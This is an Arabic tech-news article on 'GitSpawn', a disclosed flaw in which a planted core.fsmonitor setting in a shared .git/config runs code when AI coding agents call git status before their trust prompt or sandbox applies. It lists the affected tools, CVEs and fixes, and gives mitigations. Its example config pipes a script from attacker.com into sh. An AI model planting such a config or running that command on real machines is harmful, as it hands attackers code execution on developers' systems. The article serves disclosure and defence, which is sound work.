STACKDUST
EN
مخطط تقني لثغرة GitSpawn يوضح كيف تؤدي أوامر git status غير المعقمة في وكلاء البرمجة إلى تنفيذ أوامر عشوائية عبر core.fsmonitor

ثغرة GitSpawn: مستودع غير موثوق ينفذ أوامر عشوائية على جهازك عبر وكلاء البرمجة


في الأول من سبتمبر 2026، كشفت شركة الأبحاث الأمنية Manifold Security عن نمط ثغرات أطلقت عليه اسم GitSpawn، يتيح تنفيذ أوامر برمجية عشوائية عن بُعد (RCE) على أجهزة المطورين عبر أبرز وكلاء البرمجة المعتمدين على سطر الأوامر (CLI)، ومن بينهم Claude Code من Anthropic، وGoose من Block، وHermes، وQwen Code من Alibaba، وGrok Build من xAI.

لا تنبع هذه الثغرة من حقن التعليمات البرمجية (Prompt Injection) أو عيوب في محاذاة النموذج الذكي، بل تستغل خطوة تشغيلية غير مفحوصة في بنية الوكيل: تنفيذ أمر git كعملية فرعية محلية على النظام لجمع سياق المشروع عند بدء التشغيل أو المراجعة، وذلك قبل إظهار موجه الثقة ببيئة العمل أو التحقق من هوية المستخدم.

آلية الاستغلال: إعداد core.fsmonitor

يتضمن نظام Git إعداداً مدمجاً يُدعى core.fsmonitor يهدف إلى ربط أدوات خارجية لمراقبة نظام الملفات في المستودعات الضخمة. عند تضمين هذا الإعداد داخل ملف .git/config التابع للمستودع:

[core]
  fsmonitor = "curl -s https://attacker.com/payload.sh | sh"

يقوم أي أمر Git قياسي يقرأ الفهرس أو يحدّثه — مثل git status أو git diff — بتنفيذ السكربت أو الملف التنفيذي المحدد تلقائياً وبصلاحيات المستخدم الحالي.

في دورات العمل التقليدية لـ Git، يتم تحييد هذا الخطر لأن بروتوكول النقل (عبر SSH أو HTTPS) يتجاهل عمداً نقل مجلد .git/config أثناء عمليات git clone وgit fetch وgit pull. غير أن المطورين والمستشارين يتداولون المشاريع البرمجية يومياً عبر ملفات مضغوطة (.zip أو .tar.gz)، أو مجلدات المزامنة السحابية (Google Drive وDropbox)، أو وحدات التخزين الخارجية (USB). وعند فك ضغط الأرشيف، ينتقل مجلد .git/ وملف إعداداته بالكامل إلى جهاز الضحية.

كيف تقع أدوات الذكاء الاصطناعي في الفخ؟

عند تشغيل وكيل برمجي داخل مجلد مشروع، يُسارع الوكيل تلقائياً في الخلفية إلى تشغيل أوامر git لمعرفة حالة الفرع، وحصر التغييرات غير المحفوظة، وتوليد سياق أولي يُرسل إلى النموذج.

ولأن هذه العمليات الفرعية كانت تُطلق مباشرة على النظام المضيف دون تعقيم لإعدادات Git، فإن كود core.fsmonitor الخبيث يُنفذ فوراً قبل اكتمال مرحلة الفحص الأمني للوكيل:

  1. أداة Block Goose (goose review):

    • الثغرة: نفذت أمر git diff مع تمرير خيار واحد فقط (core.quotePath=off) دون استبعاد باقي إعدادات المستودع، ما أدى إلى تنفيذ الحمولة قبل أن يجري الوكيل أي اتصال بشبكة الإنترنت أو بنماذج الذكاء الاصطناعي.
    • الحالة: أُبلغ عنها في 13 يوليو 2026 وأُصلحت في الإصدار 1.44.0، وحصلت على المعرف CVE-2026-72718 بتقييم خطورة 7.0.
  2. أداة Anthropic Claude Code (claude):

    • الثغرة: نفذت أمر git status أثناء استكشاف سياق بيئة العمل خارج بيئة العزل (Sandbox)، وقبل أن يعرض الوكيل موجه الثقة ببيئة العمل (Workspace Trust Prompt) للمستخدم.
    • الحالة: أُبلغ عنها في 26 يونيو 2026 للإصدار 2.1.193 وأُصلحت في 2.1.196. لكن Manifold أكدت أن أمر المراجعة المستقل claude ultrareview يعتمد على إعداد Git آخر من الفئة نفسها وظل غير معالج في الإصدار 2.1.252 حتى 1 سبتمبر.
  3. أداة Hermes:

    • الثغرة: تُشغل git status في مجلد الجلسة عند تلقي الرسالة الأولى، مع تمرير إعدادات المستودع دون تعديل.
    • الحالة: تم تأكيدها في الإصدار 0.18.2 في يوليو 2026، ومُنحت المعرف CVE-2026-71963 عبر منظمة VulnCheck، وتأكد استمرار وجودها في الإصدار 0.21.0 في 1 سبتمبر.
  4. أداة Alibaba Qwen Code (qwen):

    • الثغرة: تُطلق أمر git status فور فتح المجلد، وتُنفذ الحمولة حتى قبل تسجيل دخول المستخدم أو التحقق من صلاحياته.
    • الحالة: تم تأكيدها في الإصدار 0.19.6، وقبلها فريق الأمن في Alibaba، وظلت غير معالجة في الإصدار 0.22.3 في 1 سبتمبر.
  5. أداة xAI Grok Build:

    • الثغرة: تُشغل أوامر git فور ضغط أول زر على لوحة المفاتيح داخل واجهة سطر الأوامر، وقبل إرسال أي نص إلى خوادم xAI.
    • الحالة: تم تأكيدها في الإصدارين 0.2.93 و1.0.13 حتى 1 سبتمبر دون تصحيح.

لماذا تعجز أنظمة الحماية التقليدية عن رصد الهجوم؟

تفشل أنظمة كشف التهديدات والاستجابة لها (EDR) وبيئات العزل في رصد GitSpawn لسببين رئيسيين:

  • سلوك أدوات تطوير شرعية: تُظهر شجرة العمليات أن أداة CLI معتمدة تستدعي أداة git الرسمية المثبتة على النظام، وهي بدورها تطلق عملية فرعية، مما يُصنف برمجياً ضمن الأنشطة الاعتيادية لبيئات التطوير.
  • توقيت التنفيذ قبل العزل: تنطلق إجراءات التحقق وعزل الحاويات وموجهات الأمان (مثل “هل تثق بهذا المجلد؟”) بعد انتهاء أمر استكشاف المستودع في الخلفية، مما يعني اختراق الجهاز قبل أن يُمنح المطور فرصة رفض الثقة بالمستودع.

تأتي هذه الثغرة استمراراً لسلسلة من ثغرات إدارة الصلاحيات في أنظمة الوكلاء كنا قد ناقشناها في تحليلنا لـ موجة ثغرات تفويض الوكلاء، وتتقاطع مع أبحاث أمن النماذج وتطويق الوكلاء.

إرشادات الحماية والمعالجة

لمطوري وبناة أدوات الذكاء الاصطناعي

يجب على أي أداة تستدعي Git في الخلفية لجمع السياق أن تُعطل إعدادات المستودع المحلي صراحة عبر تمرير خيارات سطر الأوامر. على سبيل المثال، تعقيم استدعاء git status وgit diff بتعطيل مراقب الملفات:

git -c core.fsmonitor=false status

كما ينبغي نقل كافة استدعاءات سطر الأوامر داخل بيئة حاوية معزولة منذ أول ميلي ثانية من تشغيل الأداة، بدلاً من تهيئة السياق على النظام المضيف قبل تطبيق العزل.

للمطورين ومستخدمي الأدوات البرمجية

  • فحص الأرشيفات البرمجية: عند استلام مشاريع برمجية عبر ملفات مضغوطة أو مشاركات سحابية، افحص ملف .git/config قبل فتح المجلد بواسطة أي وكيل ذكاء اصطناعي.
  • حذف مجلد .git غير الموثوق: إذا استلمت مشروعاً من طرف غير مؤكد، احذف مجلد .git تماماً ثم أعد تهيئة المستودع محلياً عبر git init قبل استدعاء الوكيل.
# التحقق من وجود أوامر أو خطافات مخصصة داخل إعدادات Git المحلية
git config --local --list | grep -E "(fsmonitor|hook|editor|pager)"

المصادر


المقال التاليجوجل تطلق Gemini 3.8 Flash و3.8 Flash Cyber: أذكى نموذج Flash للبرمجة بسعر 3.7، ونموذج سيبراني خلف بوابة Fairwindالمقال السابقذكاء اصطناعي يكتشف 6 ثغرات CVE في curl حيث عاد مختبران حدّيان بلا شيء — والخط المرجعي كان منشوراً مسبقاً